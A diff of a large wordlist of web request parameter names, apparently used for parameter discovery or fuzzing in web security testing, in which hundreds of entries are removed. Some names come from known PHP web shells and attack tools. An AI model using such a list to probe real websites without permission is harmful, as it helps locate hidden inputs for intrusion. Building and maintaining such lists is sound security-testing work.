-sq
 spass
 sound
 sortKey
@@ -2230,16 +1830,11 @@ skype
 singleout
 signup
 SignatureValue
-Signature
 showtemplate
 showSource
-ShowFieldTypesInDataEditView
-showAll
 shortname
 shop
 ship
-searchType
-searchterm
 searchbox
 searchaction
 searchable
@@ -2247,22 +1842,13 @@ school
 saveToFile
 runQuery
 ruleid
-rp
 round
-Role
 rmFiles
-rm
-rID
-responsecompression
-Reset
 requiredData
 requestKey
 requestcompression
 repopulate
-removeVariables
 removeID
-removeid
-removeAll
 remark
 relmodule
 RelayState
@@ -2273,23 +1859,18 @@ referral
 records
 rec
 reboot
-rc
 ratio
 ratings
-r1
 quick
 quest
 queryPart
 qtype
-qr
 purpose
-pto
 proxypwd
 proxyport
 proto
 promote
 probe
-PRIVILEGES
 printview
 previewwrite
 pressthis
@@ -2297,46 +1878,30 @@ prenom
 posttext
 pop
 point
-pms
 pmnotif
 plus
 pkg
 phpMyAdmin
 phonenumber
-phone2
-phone1
 pfrom
 paypal
 paste
 passwrd
 passwordConfirm
-password3
 partner
 parked
 parenttab
-ParentID
 param1
 panel
-pageTitle
-PAGE
-Page
 pack
 p2ajax
 OutSum
-OUTPUTFILETEXT
-OUTPUT
 orderNo
-or
 optimize
 oldname
 offline
-occ
-npw
-np
 nowarned
 nombre
-nn
-nID
 newuseremail
 newtitle
 newtext
@@ -2345,19 +1910,12 @@ newstatus
 newpwd
 NEWPRIVILEGES
 newpassword2
-newPass2
 newpass1
-newPass
-NEWNAME
 NEWHOST
 newdid
 NEWCHOICE
-nb
-name1
-NAME
 mytribe
 mtime
-mp
 movie
 movefile
 mood
@@ -2369,7 +1927,6 @@ mirror
 mhpw
 metrics
 methodpayload
-membername
 memberID
 membergroups
 mediaid
@@ -2389,7 +1946,6 @@ listPrice
 linkname
 limitTypes
 lim
-lID
 legend
 leap
 lead
@@ -2401,29 +1957,22 @@ keystring
 keepHTML
 keep
 keepalive
-ItemId
-itemID
 itemCode
 ipp
-IP
 invoiceid
 InvId
 intTimestamp
-intDatabaseIndex
 institution
 installmode
 inst
 INSERTTYPE
 initdb
 INDEXTYPE
-INDEXCOLUMNLIST
 imaptest
 IGNOREFIRST
-if
 idstring
 idlist
 hosts
-HOST
 hdnProductId
 gzip
 grid
@@ -2438,11 +1987,8 @@ fullsite
 frontend
 fromdate
 formSubmit
-FormbuilderTestModel
-FORMAT
 follow
 folders
-folderID
 foffset
 focus
 fldName
@@ -2450,38 +1996,29 @@ filtertype
 filterText
 filterName
 fileFormat
-Fields
 FIELDNAMES
 field2
 field1
 fee
-f2
 EXPORTTABLE
 exportImages
 EXPORTDB
 exception
 exact
-eventID
 eval
 endyear
-en
 email1
-EMAIL
 elementId
 eids
 education
 editParts
-Edit
-ec
 dtstart
 dtend
 downloadpos
 downloaded
 dname
-dm
 dlconfig
 distinct
-displayVisualization
 director
 directmode
 dipl
@@ -2491,7 +2028,6 @@ design
 descending
 desact
 deluser
-DELIMITER
 deleteUsers
 deletefolder
 deldir
@@ -2501,9 +2037,6 @@ DBLIST
 dbase
 dayDelta
 date1
-dataType
-DATABASE
-d1
 cvv
 customers
 currentid
@@ -2513,13 +2046,11 @@ cur
 ctid
 credits
 createclass
-cr
 countryName
 countryCode
 counter
 core
 coords
-contactName
 connectt
 conflict
 configfile
@@ -2529,26 +2060,21 @@ commenttext
 colours
 colName
 CollectionId
-Cmd
 clientcookies
 clickedon
 clicked
 cleanup
-CHOICE
 chartSettings
 chars
 charge
 channelName
 channelID
 changed
-cf
 cert
 cdone
-catId
 card
 canvas
 campaignid
-cal
 cainfo
 build
 btn
@@ -2558,9 +2084,7 @@ bool
 blocks
 blockid
 blacklist
-birthDate
 binary
-bi
 bbox
 banreason
 bank
@@ -2575,10 +2099,6 @@ AuthItem
 AuthChildForm
 atype
 AttachmentName
-AssignmentForm
-Artist
-Article
-aoe
 allrows
 alli2
 allDay
@@ -2591,56 +2111,36 @@ admid
 addon
 additional
 ADAPTER
-ACTION
 ACCESSLEVEL
-a1
-3
-1
-
 png
-ob
 maxdays
 aliases
 SHIPTOZIP
 SHIPTOSTATE
 SHIPTOCOUNTRY
 SHIPTOCITY
-Delete
-Address
-zID
 yeniyer
-ww
 wser
-wq
 wdir
 vpn
 voting
 viewscount
 verified
 vPath
-ux
-ut
 usrid
 userspec
-userpicpersonal
 usefilename
 urldown
 uptime
 uploadloc
 upfile
-ty
 tradercap
 todoAction
 toaddress
 toAdd
 tmp
 tickets
-templateID
 tarfile
-sv
-submitcollation
-step4
-step3
 srcport
 sqlf
 shortcut
@@ -2651,11 +2151,8 @@ searchClause2
 searchClause
 scheduled
 sameall
-rw
-rto
 rmdir
 reveal
-resetVoteCount
 renamefolder
 remoteserver
 regval
@@ -2665,7 +2162,6 @@ registre
 redirection
 readregname
 qaction
-pu
 prog
 prepare
 preference
@@ -2682,9 +2178,6 @@ phpexec
 phpev
 passwrd2
 passwrd1
-pa
-ox
-overmodsecurity
 orderdir
 orderByColumn
 onserverover
@@ -2696,13 +2189,11 @@ newdirectory
 netmask
 nere
 mysqlpass
-mx
 msgs
 mquery
 moderators
 mkfile
 missing
-mip
 minage
 menuHashes
 mem
@@ -2713,7 +2204,6 @@ lngfile
 ldap
 kind
 jump
-it
 ispublic
 ipaddr
 inside
@@ -2722,10 +2212,8 @@ imagesize
 iStart
 iLength
 iColumns
-hp
 hname
 guestname
-gf
 getfile
 generalgroup
 fromname
@@ -2743,62 +2231,37 @@ fallback
 eventDate
 erorr
 ephp
-ep
 env
 enquiry
 emailto
 emailActivate
 eheight
-ef
 editform
 editfilename
-ed
 dup
 dstport
 dosyaa
 dontFormat
 dolma
-doi
-displayAllColumns
 dirupload
 dif
 delregname
 delim
 deleteuser
 deleteAccount
-dc
 dbu
 dbsession
 dbp
 dbh
-dateFormat
 dataLabel
-cy
 customerid
-customWhereClause
 curl
 curdir
 criteriaValues
 criteriaTables
 criteriaSort
 criteriaShow
-criteriaSearchType
-criteriaSearchString
-criteriaRowInsert
-criteriaRowDelete
-criteriaRowAdd
-criteriaColumnTypes
-criteriaColumnOperators
-criteriaColumnNames
-criteriaColumnName
-criteriaColumnInsert
-criteriaColumnDelete
-criteriaColumnCount
-criteriaColumnCollations
-criteriaColumnAdd
 criteriaColumn
-criteriaAndOrRow
-criteriaAndOrColumn
 createfolder
 cpy
 coppaPost
@@ -2806,53 +2269,35 @@ coppaFax
 coord
 cookiename
 cookielength
-contactId
-con
 community
 columnsToDisplay
-cn
-cl
 chmod0
 checksum
 changeusername
 certificate
 censortext
 censortest
-censorWholeWord
-censorIgnoreCase
 calname
 calid
 c99shcook
 bug
-brd
 bport
 boardurl
 boardid
 boardaccess
-bgc
 bday2
 backuptype
-backconnectport
 backcconnmsge
 backcconnmsg
-appId
 animate
-allday
 actionfolder
 aclid
 absolute
 aPath
-TYPE
 SHIPTOSTREET
 ProfileForm
 Mohajer22
-MD
-M2
-F
-ER
-Direction
 CURRENCYCODE
-A
 zrecord
 zpage
 zonetxt
@@ -2866,7 +2311,6 @@ woeid
 weekdays
 webid
 watermark
-vv
 vpassword
 viewed
 viewall
@@ -2880,17 +2324,13 @@ usertype
 userlength
 userip
 usergroup
-userGroup
-userEnableRecovery
 usepost
 used
 upsql
 uploadfile
 uploadForm
-updateRecordID
 updateFileID
 updateData
-updateBiblioID
 upd
 upage
 unzip
@@ -2898,26 +2338,18 @@ untilDate
 unstable
 unhideNavItem
 uitype
-ue
-typE
 txtCommand
 txtAddComment
 tvid
-tt
-transactionId
 transStatus
 transId
-tpp
-tp
 totaltopics
 topicseen
 tools
-toolbar
 tok
 timezonedetection
 timeUnit
 timeIncrement
-ti
 threshold
 thankyou
 tftp
@@ -2925,7 +2357,6 @@ tfid
 tests
 testmode
 tempLoanID
-te
 taxid
 tagvalue
 tabs
@@ -2962,41 +2393,32 @@ star
 stUpload
 ssi
 sshport
-ssearch
 sqluser
 sqlpass
 sqlhost
 spoiler
 specialchars
-specDetailInfo
 spage
-smtpusername
-smtpport
 smtppassword
 smodule
-sl
 skid
-siteName
 showsc
 shown
 showh
 showevent
 showdupes
-showUnhideDialog
 showCheckbox
 shared
 shareWith
 shareType
 setMetrics
 setDefault
-sessionId
 sesc
 services
 serverurl
 servertype
 servers
 serverid
-serveR
 seriesTitle
 serialID
 seqNumber
@@ -3009,8 +2431,6 @@ searchin
 searchby
 searchString
 searchName
-searchId
-sea
 scid
 scdir
 scalingup
@@ -3081,12 +2501,9 @@ rawfilter
 ranking
 ragename
 rage
-r4
 quirks
 quickReturnID
 questionid
-querY
-qt
 qindsub
 qcontent
 qact2
@@ -3096,28 +2513,23 @@ publisherID
 publicUpload
 ptype
 ptID
-pt
-pruningOptions
 proxypass
 proxyhostmsg
 protect
 prop
 projectid
-projectID
 progresskey
 profiles
 producttype
 processed
 pro
 priceCurrency
-pr
 postto
 postgroups
 postfrom
 postal
 portalauth
 popuptype
-pod
 plug
 plain
 placeName
@@ -3127,23 +2539,16 @@ phpini
 phpcode
 pftext
 personal
-pd
-pb
 paymentStatus
 pause
 passwords
 passwd1
 passlength
-passWord
-pasS
-parentId
 palette
 pais
-pageId
 packageName
 overrideID
 outbox
-ot
 ordDate
 optimization
 opml
@@ -3169,7 +2574,6 @@ notactivated
 noredirect
 noChangeGroup
 nfid
-nf
 newowner
 newgroupname
 newf
@@ -3177,19 +2581,15 @@ newer
 newemail
 newdb
 newWidth
-newPassword2
 newLoanDate
 newHeight
 newDueDate
-newDirectory
 nentries
 myip
 msgfield
-ms
 movieview
 mountType
 mountPoint
-modulename
 moduleid
 modulePath
 moduleDesc
@@ -3203,7 +2603,6 @@ mini
 microhistory
 methodsig
 memory
-memberTypeName
 memberTypeID
 memberPostal
 memberPhone
@@ -3213,7 +2612,6 @@ memberNotes
 memberFax
 memberEmail
 memberAddress
-me
 md5sum
 md5sig
 maxentries
@@ -3232,7 +2630,6 @@ mailing
 magic
 logging
 logfile
-logdefaultblock
 logMeIn
 locationID
 loanStatus
@@ -3240,12 +2637,10 @@ loanSessionID
 loanPeriode
 loanLimit
 loanID
-listprice
 listname
 listing
 listarea
 listShow
-link2
 lineid
 lifetime
 library
@@ -3255,28 +2650,21 @@ layoutType
 layers
 lasturl
 lastmodified
-lastid
 lastQueryStr
 languagePrefix
 langName
 labelDesc
 labdef
-kw
 kstart
 keyname
 keydata
 key2
 key1
-kb
-k2
 jupart
 jufinal
 joindate
-iv
-itemname
 itemStatusID
 itemStatus
-itemSourceName
 itemSource
 itemSite
 itemShares
@@ -3308,11 +2696,8 @@ inPassword
 inNewPass
 imdbid
 imdb
-ie
 idtype
-idc
 htaccess
-hot
 holiday
 holDesc
 holDateEnd
@@ -3321,8 +2706,6 @@ hideNavItem
 hex
 headers
 harm
-harddiskstandby
-gx
 guest
 gtype
 grouptype
@@ -3337,9 +2720,7 @@ googleplus
 gmdName
 gmdID
 gmdCode
-gmd
 giveout
-getupdatestatus
 getstatus
 getprogress
 getactivity
@@ -3348,7 +2729,6 @@ geoOption
 generic
 gen
 gameid
-fu
 ftpuser
 fstype
 front
@@ -3357,22 +2737,17 @@ fromemail
 frequencyName
 frequencyID
 free
-fp
 forgot
 foreignTable
 foreignDb
 forceRefresh
 folderpath
 flow
-fldname
 fldlength
 fldlabel
 flddecimal
 fldType
 fldPickList
-fldLength
-fldLabel
-fldDecimal
 fix
 firstday
 finishID
@@ -3384,23 +2759,17 @@ fileurl
 fileto
 fileold
 filenew
-filename2
 filefrom
 fileframe
 filecontents
-fileURL
 fileTitle
 fileDir
 fileDesc
 fieldlabel
-fieldType
 fieldSep
-fieldId
 fieldEnc
-fh
 ffile
 favicon
-fam
 external
 extensions
 exponent
@@ -3410,7 +2779,6 @@ expDateYear
 expDateMonth
 expDate
 exemplar
-exe
 exccat
 evtitle
 eta
@@ -3430,26 +2798,18 @@ emailcomplete
 emailId
 editf
 editable
-editUserGroupSubmit
 editUserGroup
 eday
 ecotax
 dwld
-due
-dto
-dos
 documentID
 doaction
 doSearch
 doImport
 doExport
 dnssec
-dns2
-dns1
-dn
 dmodule
 disk
-disablelocallogging
 disabledBBC
 dis
 dirToken
@@ -3458,7 +2818,6 @@ digest
 dialog
 dhcp
 dfrom
-df
 depts
 demolish
 delsub
@@ -3469,14 +2828,10 @@ deletesmiley
 deleteip
 deleteevent
 deletecheck
-deleteUserGroup
 debet
 dbserver
 dbpw
 dbid
-dbPrefix
-dbPort
-dbHost
 dayname
 datetype
 dateto
@@ -3489,8 +2844,6 @@ datadir
 databaseloginpassword
 databaseloginname
 databasehost
-dB
-cw
 cvv2Number
 cvmodule
 customfield
@@ -3527,20 +2880,16 @@ color2
 colltype
 collTypeName
 collTypeID
-collType
 codes
 cmspassword
 cmsadminemail
 cmsadmin
-cls
-clientId
 cleared
 classOptions
 claim
 chvalue
 chpage
 chkagree
-checkprivstable
 checkprivsdb
 checkout
 checking
@@ -3551,12 +2900,8 @@ check1
 channels
 changepassword
 changecurrent
-changeUserGroup
 cfgval
 cfgkey
-categoryID
-cardtype
-cap
 callbackPW
 callNumber
 calendarid
@@ -3569,9 +2914,6 @@ bridge
 breadcrumb
 bphone
 boxes
-box3
-box2
-box1
 bootstrap
 bomb
 boardtheme
@@ -3593,7 +2935,6 @@ beginner
 bcountry
 bconfirmemail
 bcity
-bbc
 baza
 batchID
 batchExtend
@@ -3615,9 +2956,7 @@ arch
 applicable
 appkey
 appeal
-aop
 animal
-altmethodpayload
 alterview
 alsoDeleteFile
 allsignups
@@ -3631,9 +2970,7 @@ aemail
 adopt
 adminuser
 adminpass2
-adminEnableRecovery
 addcategory
-addUserGroupSubmit
 addUserGroup
 addSpider
 addReply
@@ -3642,72 +2979,28 @@ addList
 acttype
 actors
 actionName
-acl
 acct
 accountnumber
 accountname
-abc
-aID
-WSDL
-UserChangePassForm
-UID
-Test
-Term
-Tab
-T
-Submit1
-Settings
-SaveInSent
-SORT
 SHIPTOSTREET2
-Review
-ReturnUrl
-RecordingDuration
-Project
-Product
 PasswordResetForm
 PasswordForm
-Or
 MenuItem
-Menu
-METHOD
-Language
 LOCALECODE
-Issue
 InstallForm
-Group
-ExpirationYear
-ExpirationMonth
-ERORR
-DialCallStatus
 DeviceType
-DATE
-D
-Condition
 CallSid
-CVV
-B
-AudioPlayerSubmit
-AudioPlayerReset
-AccountNumber
 zonefile
 zipName
 zhsd
-yy
 ystart
 yellowtemp
 yellowstales
-yellowremfails
 yellowrejects
-yellowgetfails
 yellowgessper
 yellowfan
-yellowdiscards
-yellowavgmhper
 years
 yahoo
-xxx
-xx
 xtype
 xnum
 xmode
@@ -3717,12 +3010,9 @@ xjxfun
 xjxevt
 xjxcls
 xjxargs
-xjxGenerateStyle
-xjxGenerateJavascript
 xhrLocation
 xhprof
 xdebug
-wu
 wstoken
 writeSchema
 wresult
@@ -3736,8 +3026,6 @@ workflow
 workerId
 wordlist
 wood
-wlk
-wli
 withdraw
 withCount
 wins2
@@ -3746,26 +3034,18 @@ wins
 wildcard
 wikitext
 wide
-whw
 whom
 websiteId
 webserver
 webpage
 webguiproto
 webguiport
-wbp
 wbcp
 warn
 want
 wakeall
-wa
 vuln
-vrt
 vpntype
-vouchersyncusername
-vouchersyncport
-vouchersyncpass
-vouchersyncdbip
 vouchers
 volume
 void
@@ -3775,7 +3055,6 @@ vlanprio
 vjcomp
 villagename
 viewweek
-viewupgradelog
 viewscope
 viewMode
 viewBag
@@ -3783,10 +3062,7 @@ videos
 videopress
 videoTitle
 videoTags
-videoId
-videoDescription
 videoCategory
-vhostcontainer
 vhid
 vgrlf
 versions
@@ -3796,7 +3072,6 @@ verification
 verboselog
 verb
 vecdo
-ve
 vcheck
 vbxsite
 vbulletin
@@ -3821,7 +3096,6 @@ userrealname
 usernamefld
 username2
 usermail
-userlogin
 userlevel
 userinfo
 userids
@@ -3829,19 +3103,16 @@ userf
 useraction
 userPassword
 userEdit
-userDialogResult
 userAgent
 usepublicip
 useicmp
 usecurl
-useR
 uscmnds
 urlup
 urltype
 urlf
 urldd0
 url2
-urL
 upports
 uploadurl
 uploading
@@ -3854,14 +3125,12 @@ upl
 upip
 upin
 upff
-upf
 updateurl
 updatempd
 updateme
 updateid
 updatefile
 updateType
-updateMsgCount
 upcont
 upcom
 upchange
@@ -3873,22 +3142,13 @@ unknown
 units
 unitprice
 uniqueid
-uniqueID
 undodrag
 unbanreason
 ulang
-uk
-uf
-ucd
 uback
-uN
-uID
-u1p
 typeofdata
 typename
 typefilter
-type6
-type1
 txtwebemail
 txtsupport
 txtUsername
@@ -3905,7 +3165,6 @@ tunable
 tribe
 tresc
 trapstring
-trapserverport
 trapserver
 trappercap
 trapenable
@@ -3929,7 +3188,6 @@ tooltip
 tomod
 toid
 toProcess
-tn
 tld
 titulo
 titre
@@ -3940,7 +3198,6 @@ timeoffset
 timeint
 timedescr
 timedd0
-timeFormat
 tile
 tids
 ticketid
@@ -3948,9 +3205,7 @@ ticketbits
 thumbWidth
 thumbHeight
 throwexception
-threadID
 thisX
-themeName
 tftpinterface
 textonly
 texto
@@ -3962,7 +3217,6 @@ testvar
 testdbpwd
 testdb
 testType
-testMode
 testID
 templatefile
 tempName
@@ -3970,26 +3224,19 @@ temat
 teamid
 teacher
 tdir
-td
 tcpmssfix
-tcpidletimeout
 tcp
 tbname
 tbls
 taxtype
 taxrate
-taskID
 targetname
 targetip
 tagcloudview
-tagId
 tablo
-tableList
 tabla
 tabAction
 tab1
-ta
-t3
 syslocation
 sysevents
 sysemail
@@ -4017,112 +3264,56 @@ subnet
 submode
 submitv
 submitrobots
-submithtaccess
 submitf
 submitThemes
 submitReset
 submitFilter
-submitFilesAdminSettings
 submitEmail
 submitAdd
-submit4
-submit3
 submail
 subjectid
 subfolder
 subdomains
-subcanemaildomain
-subId
 subGenre
 stuid
 stuff
 students
 studentidx
-sts
 strukt
 stringtoh
 strin
 strictcn
 strictbind
 streamMode
-stp
 storagegroup
 stoptime
-stoppool
-stoppga
-stopbtn
 stime
 stereo
 stepid
-step5
 stdlib
 stderr
 statut
-statusid
-statsgraph
 staticarp
-statetype
-statetimeout
-statetable
-stateid
 stateOrProvinceName
 startyear
-startpool
-startpga
 startnum
-startmonth
-startdisplayingat
-startbtn
-startMonth
 starred
 stamp
 staffId
 stack
-sshdkeyonly
 srname
-srm
-srctype
-srctrack
-srctext
-srcnot
-srcmask
 srch
-srcfmt
-srcendport
-srcbeginposrt
-srcbeginport
-sr
 sqtid
 sqsrv
 sqquery
 sqpwd
 sqprt
 sqlwxp
-sqluser4
-sqluser3
-sqluser2
-sqluser1
 sqltype
 sqlty
-sqlportb4
-sqlportb3
-sqlportb2
-sqlportb1
-sqlport4
-sqlport3
-sqlport2
-sqlport1
 sqlport
-sqlpass4
-sqlpass3
-sqlpass2
-sqlpass1
 sqlog
 sqlite2
-sqlhost4
-sqlhost3
-sqlhost2
-sqlhost1
 sqlfile
 sqldp
 sqldebug
@@ -4130,7 +3321,6 @@ sqlcode
 sqlaction
 sqdbn
 sqconf
-spy
 spots
 spot
 sport
@@ -4138,49 +3328,35 @@ spoofmac
 spellstring
 spelling
 specs
-specifiedpassword
 specialsettings
 speciallogfile
 specialFiles
 spammer
 spamcheck
-sourcetracking
 sourceport
 sourceip
-sourcego
 sorttable
 sortname
 sorting
 sortdirection
-sortdir
 sortable
-sortField
 songid
 soname
 something
 somestuff
 some
 solrsort
-snn
 snmpscanner
 snatched
-snaplen
 smtptls
 smtpssl
 smtprelay
 smtpnotifyemailaddress
 smtpipaddress
 smtpfromaddress
-smtpPassword
 sms
 smode
 smile
-smfdbu
-smfdbp
-smfdbn
-smfdbh
-smf
-smartpagebreak
 smartmonemail
 slot
 slid
@@ -4188,18 +3364,14 @@ skiplang
 skipIOS
 skipANDROID
 skinname
-skinName
-sk
 sjid
 sizey
 sizes
 sitter2
 sitter1
 sitedown
-siteId
 simpin
 silver
-showthumbs
 showtext
 showslow
 showmessage
@@ -4208,7 +3380,6 @@ showinactive
 showbd
 showact
 showIndex
-showFooterMessage
 shorturl
 shortseq
 shopping
@@ -4216,7 +3387,6 @@ shiptobilling
 sharing
 sharednet
 sh311
-sh3
 sfname
 sfldr
 sfilter
@@ -4230,24 +3400,19 @@ setoption
 setname
 setlanguage
 setlang
-setdefault
 setUserAgent
 setPublic
 sessions
 sessid
 sess
-servicestatusfilter
 serviceName
-serversdisabled
 serverip
 servercn
-serverId
 serie
 serialspeed
 serialport
 serialize
 serdir
-ser
 sentitems
 senm
 senha
@@ -4260,7 +3425,6 @@ sendfile
 senderEmail
 sendemail
 sendactivation
-sendTo
 selyear
 selmonth
 sellernick
@@ -4283,19 +3447,12 @@ secs
 secretKey
 searchval
 searchuser
-searchstring
-searchfield
-searchadvsizeto
-searchadvsizefrom
 searchadvr
-searchadvposter
-searchadvgroups
 searchadvcat
 searchUsername
 searchQuery
 searchOper
 searcc
-seC
 scrubrnid
 scrubnodf
 scores
@@ -4303,7 +3460,6 @@ schooldatex
 schedule0
 sched
 scalepoints
-sca
 sbjct
 savmode
 savetest
@@ -4312,7 +3468,6 @@ savehostid
 savegroup
 savefolderurl
 savefolder
-savefilenameurl
 savefilename
 savedraft
 saveconf
@@ -4320,7 +3475,6 @@ savePath
 saveNedit
 saveNcreate
 saveNback
-sat
 sampledata
 salutation
 saleprice
@@ -4330,26 +3484,16 @@ safecss
 safe
 sabsetting
 sabapikeytype
-sYear
-sName
 sColumns
 s3key
 s3bucket
 rxantenna
 rwenable
 rwcommunity
-rvm
 runsnippet
 runid
 runer
 runState
-rtl
-rstarget4
-rstarget3
-rstarget2
-rstarget1
-rsswidgettextlength
-rsswidgetheight
 rssurl
 rssmaxitems
 rrule
@@ -4357,7 +3501,6 @@ rrdbackup
 rport
 rpassword
 rownum
-rowId
 routeid
 rootpath
 rollbits
@@ -4368,8 +3511,6 @@ rmid
 richtext
 rfiletxt
 rfile
-rfc959workaround
-rf
 reverseacct
 returnsession
 returnpage
@@ -4390,7 +3531,6 @@ resetwidgets
 resetpass
 resetlogs
 resetlog
-resetPassword
 rescanwifi
 requests
 reqid
@@ -4418,7 +3558,6 @@ rempool
 removep
 removemp
 removefields
-removeOldVisits
 remoteserver3
 remoteserver2
 remotekey
@@ -4449,7 +3588,6 @@ refuse
 refund
 refuid
 refreshinterval
-reflectiontimeout
 refkod
 referid
 referer2
@@ -4465,7 +3603,6 @@ recreate
 recordsArray
 recordcount
 recordType
-recordID
 reconstruct
 recommend
 recipientCurrency
@@ -4473,77 +3610,43 @@ recipientAmount
 recherche
 receipient
 recache
-reauthenticateacct
 reauthenticate
 realpath
 readonly
 readme
 reading
 rdata
-rawAuthMessage
-rasamednsasdhcp6
 rapriority
 randkey
 ramode
 rainterface
-radomainsearchlist
 radns2
 radns1
 radiusvendor
-radiusserverport
-radiusserveracctport
-radiusserver2port
-radiusserver2acctport
-radiusserver2
 radiusserver
-radiussecret2
 radiussecret
-radiussecenable
-radiusport4
-radiusport3
-radiusport2
 radiusport
 radiusnasid
-radiuskey4
-radiuskey3
-radiuskey2
 radiuskey
-radiusissueips
-radiusip4
-radiusip3
-radiusip2
 radiusip
 radiusenable
-radiusacctport
 radiobutton
 radPostPage
-rN
-rM
-r3
 r00t
-qx
 quoteid
 qunfatmpname
 quizid
 quitchk
 quietlogin
-quickmanagertv
-quickmanagerclose
 quickmanager
 quicklogin
 questions
-querytype
 querysql
 queryString
-quantityBackup
-qu
-qtranslateincompatiblemessage
 qsubject
 qqfafile
 qmrefresh
 qact3
-q3
-q2
 purgedb
 puremode
 purchaseorderid
@@ -4551,9 +3654,7 @@ purchaseid
 publickey
 pubkey
 pubdate
-puT
 ptpid
-ptp
 psk
 psid
 pseudo
@@ -4584,14 +3685,10 @@ prj
 privid
 privatekey
 priv
-priority3
-priority2
-priority1
 prio
 printer
 principal
 primarymodule
-primaryconsole
 prices
 pri
 prevpage
@@ -4609,9 +3706,6 @@ ppsselect
 ppsrefid
 ppsport
 ppsfudge1
-ppsflag4
-ppsflag3
-ppsflag2
 pppoeid
 ppid
 ppdebug
@@ -4643,20 +3737,15 @@ plusminus
 plname
 plid
 playlistTitle
-playlistDescription
 plaintext
 pkgs
 pkgrepourl
 pinned
 pictitle
 pics
-pickfieldtable
 pickfieldname
-pickfieldlabel
-pickfieldcolname
 pick
 piasS
-pi
 phpsettings
 phpsettingid
 phpenabled
@@ -4668,7 +3757,6 @@ phpbbdbh
 phpbb
 photoid
 phoneNr
-phone3
 pguser
 pgsqlcon
 pgport
@@ -4676,23 +3764,11 @@ pgdb
 peruserbw
 personality
 personId
-persistcommonwireless
 persist
-perms9
-perms8
-perms7
-perms6
-perms5
-perms4
-perms3
-perms2
-perms1
-perms0
 permStatus
 periodo
 periodidx
 perform
-perPage
 peerstats
 peace
 pdouser
@@ -4709,17 +3785,13 @@ paths
 pathf
 path2news
 patch
-passwordnotifymethod
 passwordkey
 passwordgenmethod
 passwordfld2
 passwordfld1
 passwordfld
-passwordconfirm
 passwordc
 passwdList
-passthrumacaddusername
-passthrumacadd
 passgen
 passf
 passenger
@@ -4739,24 +3811,16 @@ pageborder
 pageType
 pageOwner
 padID
-paID
-pW
 pUID
 pPassConf
 pPass
-pPage
-pName
 pMail
 pDesc
-p3
-p2p
 p2index
 p2entry
 p1index
 p1entry
-overwriteconfigxml
 overdue
-ouT
 ostlang
 orionprofile
 origname
@@ -4775,23 +3839,17 @@ oper
 openings
 opened
 openbasedir
-oof
-onw
 onlyforuser
 onlyfind
 ondemand
-on
 oldtime
 olddir
 oldaction
-oldPlaylistTitle
 oldMountPoint
-oldEmail
 odbcuser
 odbcpass
 odbcdsn
 odbccon
-odb
 occupation
 objectIDs
 obj
@@ -4802,7 +3860,6 @@ numlabel
 numberposts
 numail
 nuked
-nuf
 ntporphan
 nslookup
 nrresults
@@ -4814,7 +3871,6 @@ nounce
 notrap
 notices
 noti
-not
 nosync
 noserve
 noreload
@@ -4832,25 +3888,20 @@ nome
 nomacfilter
 nolimit
 nolang
-nohttpsforwards
-nohttpreferercheck
 nohtml
 nogrants
 noexpand
 noedit
 nodraft
-nodnsrebindcheck
 nodeid
 noconcurrentlogins
 noantilockout
 noaction
-noRedirect
 noOfBytes
 nmdf
 nfile
 nf4cs
 nf4c
-nf1
 nextserver
 nextid
 nextPage
@@ -4879,17 +3930,9 @@ newX10Monitor
 newWindow
 newVideoTitle
 newVideoTags
-newVideoDescription
-newVideoCategory
-newValue
-newText
 newSite
 newProject
-newPlaylistTitle
-newPlaylistDescription
-newPath
 newMonitor
-newGroup
 newGame
 newControl
 netgraph
@@ -4897,15 +3940,11 @@ netboot
 nested
 neg
 ncbase
-nc
 natreflection
 natport
 nameren
 namelist
 namefe
-name3
-namE
-n1
 myusername
 mysqls
 mysqlcon
@@ -4919,8 +3958,6 @@ mybbdbu
 mybbdbp
 mybbdbn
 mybbdbh
-mw
-mve
 mvdi
 mute
 music
@@ -4930,15 +3967,12 @@ multifieldname
 multifieldid
 mtype
 mtu
-mto
 mtext
 msubj
 mssqlcon
-mss
 msqur
 msq1
 msid
-msi
 msgtype
 msgnoaccess
 msgno
@@ -4956,13 +3990,10 @@ movd
 mount
 motivo
 motd
-moodlewsrestformat
 mon
 moduletype
 moduleorder
 moduleguid
-moduleType
-moduleId
 modified
 modfunc
 modfile
@@ -4970,19 +4001,14 @@ moderate
 modelId
 modeid
 modcat
-modE
 mobj
 mobilephone
 mnam
 mmsg
 mmail
 mlist
-ml
-mkF
-mkD
 mito
 minkills
-minViewability
 minJs
 minCss
 mimetypes
@@ -4992,8 +4018,6 @@ mibii
 mhtc
 mhost
 mhash
-mh
-mg
 mfrom
 mfldr
 mffw
@@ -5001,7 +4025,6 @@ metadata
 messagesubject
 messageid
 messagebody
-messageMultiplier
 mess
 meridiem
 mergefile
@@ -5015,7 +4038,6 @@ memday944
 memday942
 memberPasswd2
 memberPasswd
-memberPassWord
 mediatype
 mediaopt
 medalweek
@@ -5025,9 +4047,7 @@ md5q
 md5pass
 md5hash
 md5crack
-md
 mcid
-mc
 mbox
 mbadmin
 maxtry
@@ -5040,7 +4060,6 @@ maxprocperip
 maxproc
 maxmss
 maxleasetime
-maximumtableentries
 maximumstates
 maxgetfails
 maxgessper
@@ -5059,7 +4078,6 @@ masdr
 marker
 markdefault
 manual
-managerlanguage
 manage
 man
 makeupdate
@@ -5068,7 +4086,6 @@ maint
 mainmessage
 mainGenre
 mailsent
-maillisttmpname
 mailcontent
 mailbodyid
 mailbody
@@ -5076,21 +4093,13 @@ mailMethod
 mailAuth
 magicfields
 macname
-mV
 mSendm
-mKf
-mKd
-mD
 lucky
 lticket
-lp
 losslow
 losshigh
 loopstats
-lookfornewversion
-longlastingsession
 logsys
-logprivatenets
 logpeer
 logoutid
 loglighttpd
@@ -5101,25 +4110,18 @@ loginautocomplete
 logic
 loggedAt
 logfilesize
-logfilE
 logf
 logeraser
-logdefaultpass
 logbogons
 logall
 logable
-logType
-logFile
 lockid
-locationid
 localized
 localityName
 localip
 localfile
 localf
-localbeginport
 loan
-lm
 live
 listorder
 listmode
@@ -5128,10 +4130,7 @@ liste1
 liste
 listSubmitted
 listItem
-listId
 linkedin
-link1
-link0
 limitpage
 limitless
 limite
@@ -5140,7 +4139,6 @@ lfilename
 lemail
 legendstyle
 legendsize
-legendfontsize
 legendfontr
 legendfontg
 legendfontb
@@ -5149,27 +4147,20 @@ lecture
 leaptxt
 leadval
 leadsource
-lbg
 lbcp
 latencylow
 latencyhigh
 lastactive
-lastActive
 langs
-langname
 lanes
 lane
 landscape
 lan
 laggif
 l7container
-kr
-kod
 king
 kime
-kim
 killfilter
-kil
 keytype
 keylen
 keyid
@@ -5195,7 +4186,6 @@ isnano
 isim
 isenabled
 isemaildomain
